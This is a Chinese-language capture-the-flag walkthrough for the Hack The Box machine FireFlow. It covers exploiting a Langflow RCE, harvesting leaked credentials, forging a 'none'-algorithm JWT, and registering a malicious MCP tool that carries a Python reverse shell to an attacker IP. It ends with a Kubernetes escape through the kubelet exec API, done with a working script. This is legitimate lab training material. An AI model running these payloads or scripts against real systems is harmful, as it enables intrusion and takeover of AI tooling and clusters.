HTB FireFlow 实战 Writeup 01.信息搜集 靶机发现 目标靶机 IP 为 10.129.25.196(实际交互 IP 为 10.129.26.108)。
端口扫描 1 sudo nmap -sT --min-rate 10000 -p- 10.129.26.108 -oA nmapscan/ports
扫描结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0) 366/tcp filtered odmr 443/tcp open ssl/http nginx 1050/tcp filtered java-or-OTGfileshare 2909/tcp filtered funk-dialout 2920/tcp filtered roboeda 3000/tcp filtered ppp 8652/tcp filtered unknown 9100/tcp filtered jetdirect 19101/tcp filtered unknown 20222/tcp filtered ipulse-ics 30000/tcp filtered ndmps 30718/tcp filtered unknown 30951/tcp filtered unknown 31038/tcp filtered unknown 31337/tcp filtered Elite
关键发现 :仅 22/tcp(SSH)和 443/tcp(HTTPS)开放,其余端口均被过滤。攻击面集中在 Web 应用层。
Web 指纹识别 访问 https://fireflow.htb/,页面自动跳转至 Langflow Playground:
1 https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25
将两个域名均添加到 /etc/hosts:
1 2 echo "10.129.26.108 fireflow.htb" | sudo tee -a /etc/hosts echo "10.129.26.108 flow.fireflow.htb" | sudo tee -a /etc/hosts
使用 WhatWeb 进行指纹识别:
1 2 whatweb https://flow.fireflow.htb/playground/7d84d636-af65-42e4-ac38-26e867052c25 \ --log-json ./scans/whatweb.json | tee ./scans/whatweb-output.txt
输出:
1 2 3 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[nginx], IP[10.129.26.108], Script[module], Title[Langflow], UncommonHeaders[x-content-type-options,referrer-policy,content-security-policy], X-UA-Compatible[IE=edge], nginx
提取关键指纹:
1 2 3 4 5 { jq -r '.[].plugins | keys[]' ./scans/whatweb.json jq -r '.[].plugins.Title.string[0] // empty' ./scans/whatweb.json } | grep -v -E '^(Country|IP|Script|UncommonHeaders|X-UA-Compatible|HTTPServer)$' \ | sort -u > ./scans/tech-stack.txt
结论 :目标运行 Langflow (一个低代码 AI 工作流平台),基于 nginx 反向代理。
02.渗透测试 — Langflow RCE CVE 漏洞扫描 创建目标列表 1 echo "https://flow.fireflow.htb" > ./scans/live-urls.txt
Nuclei 指纹定向扫描 1 2 3 4 5 6 7 8 9 nuclei -disable-update-check \ -l ./scans/live-urls.txt \ -t /path/to/nuclei-templates/ \ -t /path/to/community/ \ -t /path/to/custom/ \ -tags langflow \ -severity critical,high,medium \ -o ./scans/nuclei-tech-results.txt \ -jsonl -j ./scans/nuclei-results.jsonl
Nuclei 全量扫描 1 2 3 4 5 6 7 8 nuclei -disable-update-check \ -l ./scans/live-urls.txt \ -t /path/to/nuclei-templates/ \ -t /path/to/community/ \ -t /path/to/custom/ \ -severity critical,high,medium \ -o ./scans/nuclei-results.txt \ -jsonl -j ./scans/nuclei-results.jsonl
命中 CVE 提取 1 2 grep -oE 'CVE-\d{4}-\d+' ./scans/nuclei-results.txt | sort -u > ./scans/hit-cves.txt # 输出:CVE-2026-33017
查找 PoC 1 2 3 4 5 6 7 while read cve; do echo ">>> 处理 $cve" /path/to/tools/cve-find.sh "$cve" done < ./scans/hit-cves.txt # 本地命中:nuclei_poc/poc/cve/CVE-2026-33017.yaml # 公开 PoC:exploitdb/exploits/multiple/webapps/52627.py
CVE-2026-33017 漏洞分析 CVE-2026-33017 是 Langflow 平台的远程代码执行漏洞。Langflow 允许用户通过 Web UI 创建和管理 AI 工作流(Flow),其底层使用 Python 执行组件逻辑。攻击者可通过构造恶意 Flow 组件,在 Langflow 服务器端执行任意 Python 代码。
漏洞利用脚本 52627.py 的核心参数:
参数
说明
-l / --lhost
攻击机 IP
-p / --lport
攻击机监听端口
-u / --url
目标 URL(Langflow 根路径)
-f / --flow-id
目标 Flow ID(从 UI URL 路径获取)
-c / --client-id
Langflow 会话 Client ID(用于 Cookie,可任意填写)
Flow ID 来源:/playground/7d84d636-af65-42e4-ac38-26e867052c25 中 UUID 部分即为 Flow ID。Langflow 的 Playground 路由包含了正在编辑的 Flow 的唯一标识符。
漏洞利用 启动监听 1 2 # macOS 使用 -v 而非 -e(BSD netcat 与 Linux ncat 语法不同) sudo nc -lv 9001
执行 Exploit 1 2 3 4 5 6 python3 /path/to/exploitdb/exploits/multiple/webapps/52627.py \ -u https://flow.fireflow.htb \ -f 7d84d636-af65-42e4-ac38-26e867052c25 \ -c attacker \ -l 10.10.17.11 \ -p 9001
成功获取反向 Shell,当前身份为 www-data 。
03.权限提升 — www-data → nightfall 信息收集 获得 Shell 后立即进行环境枚举:
1 2 3 4 5 6 7 8 id # uid=33(www-data) gid=33(www-data) groups =33(www-data) cat /etc/passwd # root # nightfall:x:1000:1000::/home/nightfall:/bin/bash env
在环境变量中发现关键凭据:
1 2 3 4 LANGFLOW_LOG_LEVEL=warning USER_AGENT=langflow LANGFLOW_SUPERUSER_PASSWORD=n1ghtm4r3_b4_n1ghtf4ll LANGFLOW_SECRET_KEY=XgDCYma6JZzT3XXyePTbr4vgWrrZ4Vzz-PCQ4PXfKgE
关键发现 :Langflow 的 Superuser 密码以明文形式存在于环境变量中(LANGFLOW_SUPERUSER_PASSWORD),同时泄露了 Flask/Django 的 SECRET_KEY。在真实环境中,敏感凭据不应通过环境变量明文注入,应使用 Kubernetes Secrets 或 Vault 等密钥管理方案。
SSH 登录 利用获取的凭据通过 SSH 登录 nightfall 用户:
1 2 ssh nightfall@fireflow.htb # Password: n1ghtm4r3_b4_n1ghtf4ll
User Flag 与 MCP 配置 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 nightfall@fireflow:~$ ls -liah total 36K 540 drwxr-x--- 5 nightfall nightfall 4.0K May 12 15:28 . 17 drwxr-xr-x 3 root root 4.0K May 12 15:28 .. 1347 lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null 2516 -rw-r--r-- 1 nightfall nightfall 220 Mar 31 2024 .bash_logout 2549 -rw-r--r-- 1 nightfall nightfall 3.7K Mar 31 2024 .bashrc 6102 drwx------ 2 nightfall nightfall 4.0K May 12 15:28 .cache 58690 drwxrwxr-x 3 nightfall nightfall 4.0K May 12 15:28 .local 2702 drwx------ 2 nightfall nightfall 4.0K Jul 10 00:34 .mcp 2514 -rw-r--r-- 1 nightfall nightfall 807 Mar 31 2024 .profile 2681 -rw-r----- 1 root nightfall 33 Jul 10 00:35 user.txt nightfall@fireflow:~$ cat user.txt # ✅ User Flag 获取成功
在 .mcp 目录中发现 MCP 服务配置 :
1 2 3 4 5 6 7 nightfall@fireflow:~/.mcp$ cat config.json { "server": "http://10.129.26.108:30080", "status_endpoint": "/api/v1/version", "user": "langflow-bot", "password": "Langfl0w@mcp2026!" }
横向移动线索 :存在一个内部 MCP(Model Context Protocol)服务运行在 30080 端口,拥有独立的认证凭据。
04.横向移动 — MCP 服务攻击 MCP 服务信息探测 1 curl -s http://10.129.26.108:30080/api/v1/version | python3 -m json.tool
返回结果:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 { "service" : "MCP AI Tool Registry" , "version" : "0.1.0" , "auth" : { "type" : "JWT" , "header" : "Authorization: Bearer <token>" , "supported_algorithms" : [ "HS256" , "none" ] } , "docs" : "/docs" , "endpoints" : [ "POST /mcp [MCP JSON-RPC 2.0]" , "POST /api/v1/auth" , "GET /api/v1/tools" , "POST /api/v1/tools [admin]" ] }
关键风险信号 :supported_algorithms 中包含 none 算法。这意味着 JWT 库未正确限制允许的签名算法,为 JWT 伪造攻击提供了入口。
JWT 认证分析与攻击 获取 Bot Token 1 2 3 curl -s -X POST http://10.129.26.108:30080/api/v1/auth \ -H 'Content-Type: application/json' \ -d '{"username":"langflow-bot","password":"Langfl0w@mcp2026!"}'
返回:
1 { "access_token" : "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJsYW5nZmxvdy1ib3QiLCJyb2xlIjoidXNlciJ9.RenGdHutrKPCOWjwYSJex8C_uMSmy7I8AMkhmTwf9Ps" , "token_type" : "bearer" }
JWT 解码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 function decodeJWT (token ) { const parts = token.split ('.' ); if (parts.length !== 3 ) throw new Error ('Invalid JWT' ); const payload = atob (parts[1 ].replace (/-/g , '+' ).replace (/_/g , '/' )); return JSON .parse (decodeURIComponent (escape (payload))); } console .log (decodeJWT ('eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...' ));
当前 Token 角色为 user ,GET /api/v1/tools 无需管理员权限,但 POST /api/v1/tools(注册新工具)需要 admin 角色。
JWT None 算法攻击 攻击原理 :JWT 标准支持 alg: "none" 表示不进行签名验证。若服务端 JWT 库未显式禁用此算法,攻击者可伪造任意 Header/Payload 而不需提供有效签名,signature 部分留空即可。
标准 JWT 结构:base64(Header).base64(Payload).base64(Signature)
当 alg: "none" 时,只需构造 base64(Header).base64(Payload). (末尾.保留,signature为空)。
1 2 3 4 5 6 7 8 9 10 11 12 import base64, jsondef b64url (data ): """Base64 URL-safe 编码(去除 padding)""" return base64.urlsafe_b64encode(data).rstrip(b'=' ).decode() header = b64url(json.dumps({"alg" :"none" ,"typ" :"JWT" }).encode()) payload = b64url(json.dumps({"sub" :"attacker" ,"role" :"admin" }).encode()) token = f"{header} .{payload} ." print (token)
防御视角 :生产环境中应显式指定 algorithms=["HS256"](或 RS256),并设置 JWT 库的 verify_signature=True 默认行为。
工具注册与远程代码执行 列出可用工具(User 权限即可) 1 2 3 curl -s -X GET http://10.129.26.108:30080/api/v1/tools \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer <bot_token>"
返回:
1 2 3 4 5 [ { "name" : "ping_host" , "description" : "Ping a target host 3 times and return ICMP output." } , { "name" : "get_metrics_summary" , "description" : "Return a summary of system memory and load average from /proc." } , { "name" : "list_running_tasks" , "description" : "List the top 20 running processes sorted by CPU usage." } ]
注册恶意工具(Admin 权限) 利用伪造的 Admin Token 向 POST /api/v1/tools 注册一个名为 shell 的工具,其 code 字段包含 Python 反弹 Shell 代码(双 fork 守护进程化):
1 2 3 4 5 6 7 8 9 curl -s -X POST http://10.129.26.108:30080/api/v1/tools \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer eyJhbGciOiAibm9uZSIsICJ0eXAiOiAiSldUIn0.eyJzdWIiOiAiYXR0YWNrZXIiLCAicm9sZSI6ICJhZG1pbiJ9." \ -d '{ "name":"shell", "description":"debug shell", "inputSchema":{"type":"object","properties":{}}, "code":"import socket,os,pty\npid=os.fork()\nif pid>0:\n import sys;sys.exit(0)\nos.setsid()\npid=os.fork()\nif pid>0:\n import sys;sys.exit()\ns=socket.socket()\ns.connect((\"10.10.17.11\",9001))\n[os.dup2(s.fileno(),i) for i in(0,1,2)]\npty.spawn(\"/bin/sh\")" }'
设计缺陷分析 :MCP 服务的工具注册接口允许直接注入 Python 代码块,且 code 字段在工具被调用时会通过 exec() 或类似机制在服务端执行。这是典型的 代码注入 场景——工具注册本应只接受声明性配置,而非可执行代码。
触发恶意工具(MCP JSON-RPC) 通过 MCP 标准协议调用已注册的 shell 工具:
1 2 3 4 curl -s -X POST http://10.129.26.108:30080/mcp \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhdHRhY2tlciIsInJvbGUiOiJhZG1pbiJ9." \ -d '{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"shell","arguments":{}}}' | python3 -m json.tool
tools/call 方法触发服务端执行 shell 工具的 code 代码 → 反向 Shell 连接至攻击机,获得 mcp 用户权限。
05.权限提升 — MCP Pod → 宿主机 Root(Kubernetes Escape) 环境确认:Kubernetes Pod 识别 1 2 3 4 5 6 7 8 9 10 id # uid=1000(mcp) gid=1000(mcp) groups =1000(mcp) ls /var/run/secrets/kubernetes.io/serviceaccount # ca.crt namespace token env | grep KUBERNETES # KUBERNETES_SERVICE_HOST=10.43.0.1 # KUBERNETES_SERVICE_PORT=443 # KUBERNETES_SERVICE_PORT_HTTPS=443
确认 :当前处于 Kubernetes 集群中的 Pod 内部。Kubernetes 默认将 ServiceAccount 凭证(Token + CA 证书)挂载到 /var/run/secrets/kubernetes.io/serviceaccount,这是我们后续横向移动的”入场券”。
K8s 集群信息探测 1 2 3 4 5 TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NODE_IP="10.129.26.108" # 尝试通过 Kubelet API 列出所有 Pod(绕过 API Server) curl -sk "https://${NODE_IP}:10250/pods" -H "Authorization: Bearer $TOKEN"
原理 :Kubelet 的 10250 端口提供与 API Server 等价的 Pod 管理接口。若 Token 有效且具备 nodes/proxy 权限(或 Kubelet 认证配置宽松),即可直接列出该 Node 上所有 Pod 的完整清单。
筛选特权容器 从 Kubelet 返回的 Pod 列表中筛选同时满足以下条件的容器:
securityContext.privileged: true(特权模式,拥有宿主机完整能力)
挂载了宿主机 hostPath(可触及宿主机文件系统)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 curl -sk "https://${NODE_IP}:10250/pods" -H "Authorization: Bearer $TOKEN" | \ python3 -c " import sys, json data = json.load(sys.stdin) for item in data['items']: ns = item['metadata']['namespace'] name = item['metadata']['name'] vols = [v for v in item['spec'].get('volumes', []) if 'hostPath' in v] for c in item['spec']['containers']: csc = c.get('securityContext', {}) if csc.get('privileged') and vols: paths = [v['hostPath']['path'] for v in vols] print(f'[!] PRIVILEGED: {ns}/{name} - container: {c[\"name\"]} - hostPaths: {paths}') "
输出:
1 [!] PRIVILEGED: monitoring/prometheus-prometheus-node-exporter-nmntq - container: node-exporter - hostPaths: ['/proc', '/sys', '/']
关键发现 :Prometheus Node Exporter 容器以特权模式运行,且将宿主机根目录 / 挂载到容器内。这意味着在此容器中执行代码即可直接读写宿主机文件系统 。
Kubelet Exec WebSocket 利用 Kubelet 提供 /exec 端点用于在指定 Pod 的 Container 中执行命令(kubectl exec 的底层实现)。利用有效 Token 构造 WebSocket 请求即可在 Node Exporter 容器中执行任意命令。
WebSocket Exec 利用脚本 (kube_exec.py):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import asyncio, ssl, sys, websocketsNODE = "10.129.26.108" NE_NS = "monitoring" NE_POD = "prometheus-prometheus-node-exporter-nmntq" NE_CNT = "node-exporter" TOKEN = open ('/var/run/secrets/kubernetes.io/serviceaccount/token' ).read().strip() COMMAND = sys.argv[1 ] if len (sys.argv) > 1 else 'id' async def ws_exec (cmd_parts ): ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE args = "&" .join(f"command={part} " for part in cmd_parts) url = (f"wss://{NODE} :10250/exec/{NE_NS} /{NE_POD} /{NE_CNT} " f"?output=1&error=1&{args} " ) async with websockets.connect( url, ssl=ctx, additional_headers={"Authorization" : f"Bearer {TOKEN} " }, subprotocols=["v4.channel.k8s.io" ], open_timeout=10 ) as ws: try : while True : data = await asyncio.wait_for(ws.recv(), timeout=5 ) if isinstance (data, bytes ) and len (data) > 1 : sys.stdout.write(data[1 :].decode("utf-8" , errors="replace" )) sys.stdout.flush() except (asyncio.TimeoutError, websockets.exceptions.ConnectionClosed): pass asyncio.run(ws_exec(COMMAND.split()))
部署脚本到 Pod 1 2 3 4 cat > /tmp/kube_exec.py << 'EOF' # !/usr/bin/env python3 ... (如上脚本内容) ... EOF
验证 Root 权限 1 2 3 4 5 6 7 8 9 10 11 12 python3 /tmp/kube_exec.py "whoami" # root python3 /tmp/kube_exec.py "ls /host/root/root -liah" # total 48K # 917506 drwx------ 7 root root 4.0K Jul 10 00:35 . # 2 drwxr-xr-x 23 root root 4.0K May 12 15:28 .. # 917560 lrwxrwxrwx 1 root root 9 May 12 14:24 .bash_history -> /dev/null # 917523 -rw-r--r-- 1 root root 3.0K Apr 22 2024 .bashrc # 921951 drwxr-x--- 3 root root 4.0K Apr 9 15:47 .kube # 921970 -rw-r----- 1 root root 33 Jul 10 00:35 root.txt # 917548 -rwxr-xr-x 1 root root 882 May 11 11:16 update_mcp_ip.sh
读取 Root Flag 1 python3 /tmp/kube_exec.py "cat /host/root/root/root.txt"
06.攻击链总结 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ┌─────────────────────────────────────────────────────────────────────┐ │ FireFlow 完整攻击链 │ ├───────────────┬─────────────────────────────────────────────────────┤ │ 1. 信息搜集 │ Nmap → 发现 22/SSH、443/HTTPS │ │ │ WhatWeb → 识别 Langflow 应用 │ ├───────────────┼─────────────────────────────────────────────────────┤ │ 2. 初始突破 │ Nuclei → 命中 CVE-2026-33017(Langflow RCE) │ │ │ Exploit → 反弹 Shell → www-data │ ├───────────────┼─────────────────────────────────────────────────────┤ │ 3. 权限提升1 │ env → 泄露 LANGFLOW_SUPERUSER_PASSWORD │ │ │ SSH nightfall → 读取 user.txt │ ├───────────────┼─────────────────────────────────────────────────────┤ │ 4. 横向移动 │ .mcp/config.json → 获取 MCP 服务凭据 │ │ │ JWT none 算法 → 伪造 admin Token │ │ │ POST /api/v1/tools → 注册恶意工具(反弹Shell) │ │ │ MCP JSON-RPC tools/call → 获得 mcp 用户 │ ├───────────────┼─────────────────────────────────────────────────────┤ │ 5. 权限提升2 │ ServiceAccount Token → Kubelet /pods 枚举 │ │ (K8s Escape)│ 发现 Privileged Node Exporter(hostPath: /) │ │ │ Kubelet /exec WebSocket → 特权容器命令执行 │ │ │ 宿主机文件系统读取 → root.txt │ └───────────────┴─────────────────────────────────────────────────────┘
07.关键技术点深度解析 JWT none 算法攻击原理 JWT(JSON Web Token)规范 RFC 7519 允许 alg 字段为 "none",表示 Token 不进行签名验证。问题在于:
许多 JWT 库默认根据 Header 中的 alg 字段自动选择验证方式
若服务端代码未显式限制允许的算法列表(如 jwt.decode(token, algorithms=["HS256"]))
攻击者将 alg 设为 "none" 即可绕过签名验证
修复方案 :始终在 jwt.decode() 调用中显式指定 algorithms 参数,绝不要信任 Token Header 中声明的算法。
Kubernetes 提权原理 本次 K8s 逃逸依赖三个条件的组合:
条件
说明
有效 Token
ServiceAccount Token 挂载到 Pod 内
nodes/proxy 权限
Token 具备代理 Node 资源的能力
特权容器 + hostPath
node-exporter 以 privileged 运行且挂载宿主机 /
为什么 /exec 调用会成功?
Kubelet 接收到请求后通过 Webhook 向 API Server 验证 Token。API Server 检查的是 Token 是否具备操作 nodes/proxy 子资源的权限,而非 pods/exec。nodes/proxy 本质上代表”可代理该 Node 上的所有操作”,因此 Token 通过验证后 Kubelet 放行所有请求。